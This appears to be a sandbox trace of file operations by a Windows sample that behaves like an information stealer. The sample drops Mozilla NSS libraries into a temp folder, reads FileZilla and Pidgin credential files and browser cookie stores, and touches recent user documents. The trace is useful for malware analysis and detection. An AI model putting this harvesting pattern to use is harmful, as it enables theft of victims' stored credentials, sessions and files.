Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-multibyte-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-private-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-process-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-runtime-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-stdio-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-string-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-time-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/api-ms-win-crt-utility-l1-1-0.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/freebl3.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/mozglue.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/msvcp140.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nss3.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/nssdbm3.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/softokn3.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/ucrtbase.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\FF335045\/vcruntime140.dll desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1313841942994437431934.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\filezilla\recentservers.xml desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\filezilla\recentservers.xml desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\.purple\accounts.xml desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\.purple\accounts.xml desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[3].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@google[4].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Cookies\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, FILE_ATTRIBUTE_NOT_CONTENT_INDEXED, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Microsoft\Windows\INetCache\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Microsoft\Windows\INetCache\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\INetCookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\INetCookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!002\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cookies\\ desired_access = GENERIC_READ, file_attributes = INVALID_FILE_ATTRIBUTES, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 2
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1332873218179136143664.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp-wal desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1333493652728379727.tmp-shm desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1334742496758174814562.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1334747094731615272395.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5P5NRG~1\AppData\Local\Temp\1335211252491625214528.tmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\-2-d2UdE5bHRb3Wgt.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\-2-d2UdE5bHRb3Wgt.csv - True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\-LozpNEJj9YNqUHsd.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\-LozpNEJj9YNqUHsd.bmp - True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\-p4ffBCma.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create - - False 59
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\06IT.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\0yRPUT6TDREHeWByR4rP.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\1dRMBdJ8JilqvY.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\1KRW.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\1KRW.docx - True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\1L3e.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\1lVVKbf-aOgvA-CAW_mM.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\29qIuqRP.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\2nK3ie.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\2nK3ie.gif - True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\2qASZGVP1ayqj.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\2toarBW5rlEiNoO5.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\3Us5nuIYL1u_RnPPuJ.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\3ymkgwpUkCk.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\4qhj.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\5eg1.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\5H7Vrui.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\5H7Vrui.docx - True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\5wR63HlMWYvMti0btzx.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\5zH-zIr1.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\6 XGwY-lUt_VoBNPc3ul.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\7rSet.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\953NwS YORsJs8ezCX.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\9oBPh66lU7Zt.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\Recent\a09hCY1lv p_IZ98.lnk desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_ARCHIVE, share_mode = FILE_SHARE_READ True 1
Fn
